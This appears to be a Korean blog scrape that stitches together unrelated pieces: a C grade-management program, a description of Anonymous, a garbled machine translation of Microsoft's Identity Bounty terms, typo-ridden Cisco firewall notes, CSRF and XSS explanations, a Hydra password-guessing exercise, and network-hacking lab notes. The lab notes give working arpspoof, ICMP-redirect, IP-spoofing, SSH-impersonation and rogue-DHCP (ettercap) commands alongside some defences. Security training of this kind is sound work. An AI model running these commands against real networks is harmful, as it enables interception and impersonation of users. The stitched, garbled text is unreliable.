학생성적관리 프로그램 #C언어 #학생성적관리 #프로그램 #코딩 


#include <stdio.h>

#include <stdlib.h>

 

#define MAX        10

 

struct student{

int id;

char name[20];

int kor,eng,math;

};

 

void init(struct student *std){

int i;

for(i=0;i<MAX;i++){

std[i].id = -1;

}

}

 

void input(struct student *std){

int i;

 

for(i=0;i<MAX;i++){

if(std[i].id == -1){

break;

}

}

 

std[i].id = 100000 + i;

printf("이름 : ");

scanf("%s",std[i].name);

printf("국어 : ");

scanf("%d",&std[i].kor);

printf("영어 : ");

scanf("%d",&std[i].eng);

printf("수학 : ");

scanf("%d",&std[i].math);

}

 

void output(struct student *std){

int i;

for(i=0;i<MAX;i++){

if(std[i].id==-1){

printf("\n");

}else{

printf("%d | %s | %d | %d | %d |\n",

std[i].id,std[i].name,std[i].kor,std[i].eng,std[i].math);

}

}

}

 

 

int main(){

struct student std[MAX];

int menu;

 

init(std);

 

while(1){

printf("학생성적관리프로그램\n");

printf("1. 입력\n");

printf("2. 출력\n");

printf("3. 수정/삭제\n");

printf("0. 종료\n");

printf(" > ");

scanf("%d",&menu);

 

 

switch(menu){

case 1:

input(std);

break;

case 2:

output(std);

break;

case 3:

break;

case 0:

printf("프로그램을 종료합니다.\n");

exit(0);

break;

}

}

 

 

 

return 0;

}


어나니머스(영어:Anonymous)는 가상의 사회 운동 단체이다.

'어나니머스;라는 명칭은 일부 누리꾼들이 4Chan이라는 웹사이트의 사용자의 기본 이름인 '익명'(Anonymous)인것을

집단을 가리키는 말로 사용하면서 쓰이기 시작했다.

이런 경향에서 2003년부터 정부, 종교, 기업 관련 웹사이트를 공격한 해커들이 어나니머스(Anonymous)라는 집단의 구성원으로서 

지칭하자 어나니머스라는 명칭이 저명성을 갖기 시작했다. 어나니머스에 소속되어 있는 대한민국 회원 중에 

대한민국 국과수 소속으로 추정 되는 해커도 있다는 사실이 드러나면서 큰 관심을 주목받기도 하였다.


어나니머스는 사이버 검열과 감시 반대 운동을 비롯한 사이버 시민 불복종 운동을 목적으로 한다.

즉, 인터넷 행동주의의 한 방편인 핵티비즘(Hacktivism)을 활동 목적의 근간으로 하는 가상 단체.


이러한 어나니머스의 체계에 대해 "지시보다는 오히려 발상에 따라 작동하는 매우 느슨하고 분산된 명령 구조를 가진 하나의 인터넷 사의 모임

이라고 한 사회학자는 설명한다. 


프로그램 설명 오늘날의 보안은 도메인 내부 및 도메인 간 신원 및 ID 데이터의 협업 커뮤니케이션에 달려 있습니다. 고객의 디지털 신원은 종종 서비스에 액세스하고 인터넷을 통해 상호 작용하는 열쇠입니다. Microsoft는 소비자 (Microsoft 계정) 및 엔터프라이즈 (Azure Active Directory) ID 솔루션의 보안과 개인 정보 보호에 많은 투자를했습니다. 우리는 공식 표준 기관 내의 표준 전문가 커뮤니티의 일환으로 강력한 인증, 안전한 사인온, 세션, API 보안 및 기타 중요한 인프라 작업을 촉진하는 신원 관련 사양의 생성, 구현 및 개선에 집중적으로 투자 해 왔습니다. IETF, W3C, 또는 OpenID Foundation과 같은 사용자 인터페이스를 지원합니다. 고객의 보안에 대한 강한 의지를 인정하여 Microsoft Identity Bounty Program을 시작했습니다. 보안 연구원으로 ID 서비스의 보안 취약점을 발견 한 경우 개인 정보를 공개하고 기술 정보를 게시하기 전에 해결할 수있는 기회를 주신 데 대해 감사드립니다. 또한 우리가 공동체에서 정의 할 수 있도록 열심히 노력한 업계 정체성 표준 작업에 대한 우리의 공약에서 우리는 OpenID 표준을 인증 한 구현을 포괄 할 수있는 특혜를 제공합니다. 표준 프로토콜 또는 구현 보너스에 대한 제출은이 현상금 범위에서 완전히 승인 된 신원 표준을 가져야하며 인증 된 제품, 서비스 또는 라이브러리에 구현 된 프로토콜의 보안 취약점을 발견했습니다. 우리는 함께 디지털 신원이 안전하고 안전하다는 확신을 가질 수 있습니다. Microsoft Identity Bounty 프로그램은 여기에 설명 된 법적 조항의 적용을받으며이 프로그램 설명 내에서 수정됩니다.



유자격 제출물은 무엇을 구성합니까? Microsoft Bug Bounty 프로그램은 귀하의 발견에 반영한 연구 결과를 반영하여 고품질의 제출물을 보상하고자합니다. 보고서의 목표는 지식과 전문성을 Microsoft 개발자 및 엔지니어와 공유하여 사용자가 신속하고 효율적으로 결과를 이해하고 재현 할 수 있도록하는 것입니다. 이 방법으로 취약점을 해결할 수있는 배경과 배경이 있습니다. Microsoft에 제공된 취약점 제출은 지불 자격을 얻기 위해 다음 기준을 충족해야합니다. 범위 내에 나열된 Microsoft Identity Services에서 재현되는 원래보고되지 않은 중요하거나 중요한보고를 식별하십시오. Microsoft 계정이나 Azure Active Directory 계정을 인계하는 원래의보고되지 않은 취약점을 확인하십시오. 나열된 OpenID 표준 또는 인증 된 제품, 서비스 또는 라이브러리에 구현 된 프로토콜을 사용하여 원래보고되지 않은 취약점을 식별하십시오. Microsoft Authenticator 응용 프로그램의 모든 버전에 대해 제출하십시오. 그러나 현상금은 최신 공개 버전에 대한 버그가 재생 된 경우에만 지급됩니다. 이슈에 대한 설명과 쉽게 이해할 수있는 간결한 재현성 단계를 포함 시키십시오. (제출을 가능한 한 빨리 처리하고보고되는 ​​취약성 유형에 대해 가장 높은 지불을 지원합니다.) 취약점의 영향을 포함시킵니다. 명백하지 않은 경우 공격 벡터 포함


Scope:

  • login.windows.net
  • login.microsoftonline.com
  • login.live.com
  • account.live.com
  • account.windowsazure.com
  • account.activedirectory.windowsazure.com
  • credential.activedirectory.windowsazure.com
  • portal.office.com
  • passwordreset.microsoftonline.com
  • Microsoft Authenticator (iOS and Android applications)*

Standards Scope**:

  • OpenID Foundation - The OpenID Connect Family
  • OpenID Connect Core
  • OpenID Connect Discovery
  • OpenID Connect Session
  • OAuth 2.0 Multiple Response Types
  • OAuth 2.0 Form Post Response Types
  • Microsoft products and services Certified Implementations listed here (http://openid.net/certification)

* For mobile applications the research must reproduce on the latest version of the application and mobile operating system.

** LEGAL NOTE: Standards professionals with contributions or affiliations to identity standards working groups are not eligible to receive standards-related bounties. 

표준 범위 ** : OpenID Foundation - OpenID Connect 제품군 OpenID Connect Core OpenID Connect Discovery OpenID Connect 세션 OAuth 2.0 복수 응답 유형 OAuth 2.0 양식 게시물 응답 유형 Microsoft 제품 및 서비스 여기에 나열된 인증 구현 (http://openid.net/certification) * 모바일 응용 프로그램의 경우 응용 프로그램 및 모바일 운영 체제의 최신 버전에서 연구를 재현해야합니다. ** 법적 참고 사항 : 신원 표준 실무 그룹에 대한 기고 나 제휴를 맺은 표준 전문가는 표준 관련 현상금을받을 자격이 없습니다.

지불 금액은 어떻게 책정됩니까? 현상금 범위가 500 달러에서 최대 100,000 달러에 이르는 신청에 대한 보상. 높은 지불금은 보고서의 품질과 취약점의 보안 영향에 따라 제공됩니다. 보안 연구원은 가능한 한 가장 높은 지불금 가능성이 높아지도록 제출 시점에 많은 양의 데이터를 제공하는 것이 좋습니다. 중요한 사용자 상호 작용이 필요한 취약성에 대해서는 일반적으로 더 적은 금액을 보상합니다. 서로 다른 당사자가 발행 한 동일한 문제에 대한 여러 버그 보고서를 받으면 첫 번째 제출물에 현상금이 부여됩니다. 중복 보고서가 이전에 Microsoft에 알려지지 않은 새로운 정보를 제공하는 경우 중복 제출을 차등책으로 인정할 수 있습니다. 제출물이 잠재적으로 여러 현상금 프로그램의 대상이 될 경우 단일 현상금 프로그램에서 단일 한 최고 지불금을 받게됩니다. Microsoft는 단독 재량에 따라 제출을 거부 할 권한이 있으며 위의 기준을 충족하지 않는다고 판단합니다.


고품질 제출 기본 품질 제출 불완전한 제출 중요한 인증 우회 최대 $ 40,000 최대 $ 10,000 $ 1,000부터 다중 요소 인증 우회 최대 $ 100,000 최대 $ 50,000 $ 1,000부터 표준 설계 취약점 최대 $ 100,000 최대 $ 30,000 2,500 달러부터 표준 기반 구현 취약점 최대 $ 75,000 최대 $ 25,000 2,500 달러부터 사이트 간 스크립팅 (XSS) 최대 $ 20,000 최대 $ 5,000 $ 1,000부터 교차 사이트 요청 위조 (CSRF) 최대 $ 10,000 최대 $ 3,000 $ 500부터 인증 결함 최대 $ 8,000 최대 $ 4,000 $ 500부터 민감한 데이터 노출 최대 $ 5,000 최대 2,500 달러 $ 500부터

고품질 보고서는 엔지니어가 문제를 신속하게 재생산, 이해 및 수정하는 데 필요한 정보를 제공합니다. 여기에는 일반적으로 필요한 배경 정보, 버그에 대한 설명 및 개념 증명을 포함하는 간략한 작성이 포함됩니다. 우리는 일부 문제는 재현하고 이해하기가 극히 어렵다는 것을 알고 있으며 제출물의 품질을 판단 할 때 고려됩니다. 많은 사이트는 공통 플랫폼을 공유합니다. 따라서 공유 플랫폼 자체에 문제가있는 경우 한 도메인에서보고 된 취약점이 다른 도메인에 존재할 수 있습니다. 예를 들어, account.microsoft.com에 대해보고 된 문제는 account.microsoft.co.uk에서도 똑같은 방식으로 나타날 수 있으며 동일한 문제가있는 두 사이트에서 문제가 해결됩니다. 우선 먼저이를 확인하고 여러 보고서를 제출하는 대신 하나의 보고서에 다른 취약한 위치를 포함 시키십시오. 이 경우 문제를 하나의 버그로 간주하고 중복 된 것으로 나머지를 닫습니다.


연구 및 고객 데이터에 관한 중요한 정보 독립적 인 보안 연구는 제품과 서비스의 보안에 대한 전반적인 신뢰의 중요한 구성 요소입니다. 그 연구의 일환으로 지역 사회는 이러한 서비스가 지속적으로 고객을 사용하기위한 생산 환경에서 운영되고 실행되고 있음을 인식해야합니다. 우리는 보안 연구원들이 다음을 위해 선의의 노력을 기울 이도록 요청합니다. 연구 중 개인 정보 침해, 데이터 파괴 및 서비스 중단 또는 저하를 피하십시오. 조사하는 동안 고객 데이터를 발견하면 즉시 중지하고 Google에 문의하십시오. 취약점 테스트는 프로그램 참가자가 소유 한 가입 / 계정의 거주자 만 수행해야합니다. 아래 목록에서 <Tenant>는 귀하가 소유하고있는 구독자 중 다른 거주자를 대상으로 테스트를 실행하지 않는 테넌트를 나타냅니다. 서버 측 실행 문제에 대한 개념 증명 (proof of concept) 단계를 넘어서서 (즉, SQL Server에 대한 sysadmin 액세스 권한이 있음을 입증하면


금지 된 보안 연구 방법

보안 연구원이 서비스 범위 내에서 연구 범위를 이해하는 데 도움을주기 위해 다음 방법을 사용할 수 없습니다.

직원들에 대한 피싱 또는 기타 사회 공학 공격을 시도합니다. 이 프로그램의 범위는 지정된 Microsoft Online Services의 기술 취약점으로 제한됩니다.
모든 종류의 서비스 거부 테스트.
상당한 양의 트래픽을 생성하는 서비스의 자동화 된 테스트를 수행합니다.
전적으로 귀하의 데이터가 아닌 모든 데이터에 액세스하십시오. 예를 들어 교차 계정 또는 교차 거주자 데이터 액세스를 시연하고 입증하기 위해 적은 수의 테스트 계정 및 / 또는 시험용 세입자를 만들 수 있으며이를 권장합니다. 그러나 이러한 계정 중 하나를 사용하여 합법적 인 고객 또는 계정의 데이터에 액세스하는 것은 금지됩니다.
이러한 금지에도 불구하고 Microsoft는 악의적 인 것으로 보이는 네트워크상의 모든 작업에 응답 할 수있는 권한을 보유합니다. 의심 스러울 때, 우리의 서비스를 사용하는 고객에게 미칠 수있는 영향을 고려하고 그들의 경험과 데이터를 크게 존중하십시오.

마이크로 소프트 신원 파악을위한 부적절한 제출물은 무엇입니까? 현상금 프로그램의 목적은 사용자와 사용자의 데이터 보안에 직접적이고 명백한 영향을 미치는 심각한 취약점을 밝히는 것입니다. Google 서비스의 보안 취약점을 설명하는 제출을 권장하지만 다음은 현상금 보상을받지 못하는 취약점의 예입니다. 사용자 제작 콘텐츠 또는 응용 프로그램의 취약점. Man in-the-middle (MiTM) 공격을 허용하기 위해 저장소 계정에서 HTTP 액세스를 활성화하는 것과 같이 사용자가 서비스를 잘못 구성하는 보안. 누락 된 HTTP 보안 헤더 (예 : X-FRAME-OPTIONS) 또는 쿠키 보안 플래그 (예 : "httponly") IP, 서버 이름 및 대부분의 스택 추적과 같은 서버 측 정보 유출 서비스 거부 문제 희박한 사용자 작업을 요구하는 취약점 타사 및 고객의 하위 도메인 인수 Microsoft 및 광범위한 보안 커뮤니티에 이미 알려진 공개적으로 공개 된 취약점 갤러리 이미지 및 ISV 응용 프로그램과 같이 Azure에서 제공하는 타사 소프트웨어의 취약점 지원되지 않는 브라우저 및 플러그인에만 영향을주는 웹 응용 프로그램의 취약점 사용자 또는 세입자의 존재를 열거하거나 확인하는 데 사용되는 취약점


ZFW

  • Interface마다 Zone 구분
  • (서로 다른 Zone 통신 불가능)
  • Zone 사이의 통신은 관리자의 설정을 통해서 가능
  • CPL(cisco policy Language)기반
  • Stateful

 

  • 작업의 순서
  1. Zone 생성
  2. Interface zone 할당(중복 할당 가능)
  3. Zone-pair 생성 (하나의 zone에서 다른zone 전송되는 흐름)
  4. Class-map / policy-map생성
  5. Zone-pair policy-map 적용

 

 

Vm2 10.10.2.10 windown 2000

Windown XP

 

R2

Config-sec-zone

Zone security INSIDE

OUTSIDE

DMZ

Int f 0/0

Zone-meber security OUTSIDE

 

Int f 0/1

Zone-member security INSIDE

F 1/0

Zon-member security DMZ

 

Show zeon

 

Conf t

Zon-pair se in->out se INSIDE de OUTSIDE

 

ACCE

CLASS0MAP TYPE INSPECT ALL_T

 

 

MATCH PROTOCOL HTTP

SLASS-MAP DNS_T

 

MATCH-ALL

MATCH ACCESS-GROUP 101

MATCH PROTOCOL HTTP

MATCH CLASS-MAP DNS_T

 

POLICY-MAP TYPE INS SPECT IN->OUT_P

CLASS TPE INSPECT ALL_T

 

INSPECT

 

POLICY-MAP TYPE INSPECT IN->DMZ_P

 

CLASS TYPE INSPECT HTTP_DNS_T

INSPECT

 

POLICY-MAP TYPE INSPECT OUT->DMZ-P

CLASS TYPE INSPECT HTTP_DNS_T

INSPECT

 

CLASS TYPE INSPECT SSH_T

INSPECT

 

 POLICY-MAP TYPE INSPECT DMZ->OUT_P

INSPECT

 

 

ZONE-PAIR SE IN->OUT

 

SERVICE-POLICY TY INS IN->OUT_P

 

SECURITY IN->DMZ

SERVI-POLICY TYE INS IN->DMZ_P

 

ZONE-PAIR SECURITY DMZ->OUT

SERVI -POLICY TY INS DMZ-OUT_P

 

SHOW ZONE-PAIR SECURITY


CSRF의 특징

 

-Victim에 의해 Request가 발생하기 때문에 공격자의 IP 추적이 어렵다.

-XSS와 달리 자바스크립트를 사용할 수 없는 상황에서도 공격이 가능

 

공격조건

-공격자는 사이트에서 제공하는 해당 기능의 Request/Response를 분석해야 한다.

-사이트가 Session Token만으로 해당 기능의 권한을 인증하고 있을 때 가능

 

CSRF (Cross site Request Forgery)

 

-a.k.a XSRF

-Pronounce C-Surf

-One-click Attack / Zero-click Attack

-사이트에서 제공하는 기능을 신뢰된 사용자의 권한으로 요청하도록 하는 공격

 

-공격자는 악성코드를 읽은 Victim은 자신도 모르게 Request를 서버로 보내게 되고, 서버는 Victim의 권한으로 Request에 대한 처리를 하게 된다.

-즉 Session Hijacking과 유사한 권한 도용 공격이다.

 

공격의 범위

-서버에서 지원하는 모든 기능이 공격범위가 될 수 있다.

-DB를 모두 삭제하는 기능을 관리자에게 지원한다면 공격자는 이 공격을 이용해서 DB삭제도 가능하다.

 

'SW보안' 카테고리의 다른 글

XSS -실습-  (0) 2019.01.20
XSS( CROSS SITE SCRIPTING )  (0) 2019.01.20
World Wide Web  (0) 2019.01.19

백트렉에서 Hydra사용한다.

which hydar

 

 

 

-Web server의 Password를 dictionary Attack을 이용해서 찾으시오

-Web server IP:192.168.41.2

-dictionary File : passwords.txt

기본인증 방식 : hydar이용

기본인증 방식이라 경로 지정 대신 포트로한다.

-V : 자세히

-f 패스워드 찾으면 멈춘다.

이런방식으로도 찾을수 있다.

 

회원등록 페이지의 ID부분 입력 제한이 12문자로 제한되어 있다.

우회하세요

 

XSS(Cross site sripting)

Clietn /server 운영

 

 

'SW보안' 카테고리의 다른 글

CSRF( CROSS SITE REQUEST FORGERY)  (0) 2019.01.20
XSS( CROSS SITE SCRIPTING )  (0) 2019.01.20
World Wide Web  (0) 2019.01.19

Preface

- 요즘의 웹사잍 과거의 정적인 페이지에서 벗어나 동적인 페이지를 제공

- 동적인 페이지에서는 사용자의 입력을 받아 어떤 작업을 처리하므로 사용자로부터 입력된 데이터를 적절히 검증하지 않으면 보안상 취약점이 발생할 수 있다.

-XSS 공격의 경우 서버를 장악하지 않고도 개인정보를 쉽게 유출할 수 있다.

- 요즘 Web2.0 환경으로 변하면서 JavaScript가 널리 사용됨에 따라 AJAX를 이용한 XSS나 UCC (User Create Contents)에 의한 XSS가 재조명 되고 있다.

XSS (cont)

Main Cause

-사용자로부터 입력된 데이터를 적절한 검증 없이 Web Document로 출력하는 경우 발생

-Attacker가 악성 Script를 입력했다면 Victim은 악성스크립트를 신뢰하는 웹 서버가 보낸 것으로 믿고 실행하게 된다.

-XSS는 서버를 공격하는 것이 아니라 서버를 경유하여 클라이언트를 공격하는 것.

 

Impact

-Cookie Access

-DOM (Document Object Mode) Access

-Clipboard Access

-Key logging

 

Type of XSS

Reflective XSS ( non-persistent )

-공격자는 악성 스크립트를 포함한 URL을 Victim에게 노출

-이메일,메신저, 웹 게시판 등을 이용

- 악성스크립트는 서버에 저장되지 않는다.

 

Stored XSS ( persistent )

-공격자는 악성 스크립트를 XSS에 취약한 웹 서버에 저장

- 웹 게시판, 방명록 등

-공격자는 해당 게시물을 Victim에게 노출시킨다.

 

XSS에 취약한 페이지 유형

-HTML을 지원하는 게시판

-Search Page

-Personalize Page

-Join Form Page

-Referer 를 이용하는 Page

-그 외 사용자로부터 입력 받아 화면에 출력하는 모든 페이지에서 발생 가능하다.

 

 

 

 

 

 

 

'SW보안' 카테고리의 다른 글

CSRF( CROSS SITE REQUEST FORGERY)  (0) 2019.01.20
XSS -실습-  (0) 2019.01.20
World Wide Web  (0) 2019.01.19

window XP : 10.10.10.10
web server : 10.10.10.20
ssh server : 10.10.10.22
Attacker : 10.10.10.30
GW : 10.10.10.1

Sniffing을 사용하기위한 선행작업
------------------------------------------------------------------
Router Nat 설정
내부IP : 10.10.10.x // 255.255.255.0
외부IP : DHCP
conf t
access-list 1 permit 10.10.10.0 0.0.0.255
!
ip nat inside source list 1 int f0/1 overload
!
int f0/0
ip nat inside
!
int f0/1
ip nat outside
!
end
------------------------------------------------------------------
icmpush -vv -red -sp [GW] -gw [redi-GW] -dest [Destination] -c host [victime]
ex ) icmpush -vv -red -sp 10.10.10.1 -gw 10.10.10.30 -dest 100.100.100.0 -c host 10.10.10.10
칼리 리눅스는 안되서 hping3으로 대체해야함
ec ) hping3 -1 --icmptype 5 --icmpcode 1 -a 10.10.10.1 --icmp-ipdst 100.100.100.100 icmp-gw 10.10.10.30 --icmp-ipsrc 10.10.10.10
------------------------------------------------------------------
macof ( swich jamming 공격 ) : 스위치를 바쁘게 하여 허브처럼 동작을 하게 만드는 방법 ( 패킷이 가끔 공격자에게 넘어온다 )
------------------------------------------------------------------
victim : 10.10.10.10
GW : 10.10.10.1
attacker : 10.10.10.30
arpspoof -i eth0 -t 10.10.10.10 10.10.10.1 (arp 속이기)
 : 패킷은 보내지지만 도착하지 않기 떄문에 forwarding 필요
echo 1 > /proc/sys/net/ipv4/ip_forward
 : tracert로 확인하면 10.10.10.30을 거쳐가는것이 보임

fragrouter -B1
 : tracert로 확인하면 10.10.10.30을 거쳐가는것이 보이지 않음

[실습] GW와 Host간 전달되는 모든 Packet을 Sniffing 해보고, Sniffing이 가능하지 않게 적절히 방어하세요.
 - 공격 arpspoof -i eth0 -t 10.10.10.10 10.10.10.1
 arpspoof -i eht0 -t 10.10.10.1 10.10.10.10
 fragrouter -B1
 - 방어 arp -s 10.10.10.1 c2-01-21-70-00-00 (host)
 arp 10.10.10.10 000c.2992.f49f arpa (router)

arp를 static으로 설정해도 reboot후 지워진다.
arp static cmd command 를 bat파일로 만든후 시작프로그램에 등록하면된다.
------------------------------------------------------------------
sterm : IP를 속여서 telnet접근을 하는것.
------------------------------------------------------------------
linux에서 설정이 잘 되지 않을때
vi /etc/udev/rules.d/70-persistent-net.rules
------------------------------------------------------------------
가상인터페이스를 만들어서 ssh 접근하기 ( ssh서버는 10.10.10.22 )
ifconfig eth0:0 100.100.100.100 netmask 255.255.255.0 up
ssh -b 100.100.100.100 10.10.10.22

ssh 서버에서 100.100.100.100의 위치를 모르기 때문에
attacker에서 ssh서버의 GW를 자신으로 arpspoof를 하면 된다.
arpspoof -i eth0 -t 10.10.10.22 10.10.10.1
fragrouter -B1
------------------------------------------------------------------
linux에서 통신 통제 ( TCP Wrapper )
/etc/hosts.allow
/etc/hosts.deny
바로 위 처럼 arpspoof를 통해 다른 IP로 ssh접근하는것을 막기위해서는
vi /etc/hosts.deny 로 들어가서
sshd : 100.100.100.100
sshd : 10.10.10.30
을 추가해주면 100.100.100.100 과 10.10.10.30 은 ssh접근이 막힌다.
만약 거부한IP에서 접근을 했을때 tail /var/log/secure 을 보게되면 refused로 거부됐다는것이 기록되어있다.
이것은 다른 IP로 우회할수 있기 때문에 deny보다는 allow에 설정한 후 deny에 모두 차단하는것이 좋다.
allow가 deny보다 우선순위가 높기 때문이다.
모두 선택하려면 all [ ex ) all : all ]
------------------------------------------------------------------
[실습] 위협을 느낀 SSH 서버 관리자가 자신의 IP주소만 접속 할 수 있도록 필터링 정책을 적용했다.
WinXP에서 SSH 서버에 접속하고 적업 중이라 가정한다.
공격자에서 접근 허용되어 있는 IP주소를 알아내고 알아 낸 IP 주소를 이용해 SSH 서버에 접속 가능한지 확인하세요.
현 상황에서의 적절한 방어대책을 수립하세요.
 - 공격 : nmap으로 스캔후 활성화 되어있는 IP로 차례대로 접근해본다. ( nmap -sP 10.10.10.0/24 )
 - 접근방법
1. Attacker에서 가상인터페이스를 만든다. ( ifconfig eth0:0 10.10.10.10 netmask 255.255.255.0 up )
2. arpspoof로 ssh서버의 10.10.10.10 arp를 수정 ( arpspoof -i eth0 -t 10.10.10.22 10.10.10.10 )
3. 접근 ( ssh -b 10.10.10.10 10.10.10.22 )
------------------------------------------------------------------
Window XP : 10.10.10.10/24 || GW : 10.10.10.1
Attacker : 20.20.20.20/24 || GW : 20.20.20.1
hping3 -S 10.10.10.1 -a 192.168.100.1
패킷의 source addr이 192.168.100.1로 변경된 상태에서 10.10.10.1로 전송됨
Router에서 Attacker쪽 포트에 ip verify unicast reverse-path 를 입력
똑같이 hping3을 이용하여 패킷을 보냈을때 Window XP에 패킷이 오지 않음.
------------------------------------------------------------------
Window XP : DHCP
Attacker : 10.10.10.30
Web Server : 10.10.10.20
DNS Server : 10.10.10.22

# Router에서 DHCP 서버 역할 하기
 - 제외할 IP 설정
R1(config)#ip dhcp excluded-address [IP]
 - DHCP 설정
R1(config)#ip dhcp pool [name]
R1(dhcp-config)#network [first_addr] [last_addr]
R1(dhcp-config)#dns-server [IP]
R1(dhcp-config)#default-router [Gateway IP]

ettercap -T -M dhcp:10.10.10.100-200/255.255.255.0/10.10.10.22
Discover패킷이 Broadcast로 전송
Offer패킷을 Attacker가 DHCP서버보다 빠르게 보냄
Request패킷 후 ACK패킷을 Attacker에서 보냄
 - DHCP 원리
1. Client에서 Discorver 패킷을 broadcast로 전송
2. 각 DHCP 서버에서 Offer 패킷을 broadcast로 전송
3. Client에서 Request 패킷을 broadcast로 전송
4. 각 DHCP 서버에서 ACK 패킷을 broadcast로 전송
5. ACK패킷중 제일 먼저 온 패킷을 사용 ( 제일 먼저 할당된 IP 사용 )

vim /usr/local/etc/etter.conf 에서 임대기간을 늘릴 수 있다.
 -> dhcp_lease_time을 늘려주면 된다.
------------------------------------------------------------------

 

'네트워크보안' 카테고리의 다른 글

SNMP란?  (0) 2019.01.24
Spoofing(SSH)  (0) 2019.01.20
Sniffing 공격의 이해  (0) 2019.01.19
Sniffing공격  (0) 2019.01.19
Network Hacking[주요 공격 기법 이해 / 실습 ]  (0) 2019.01.19

+ Recent posts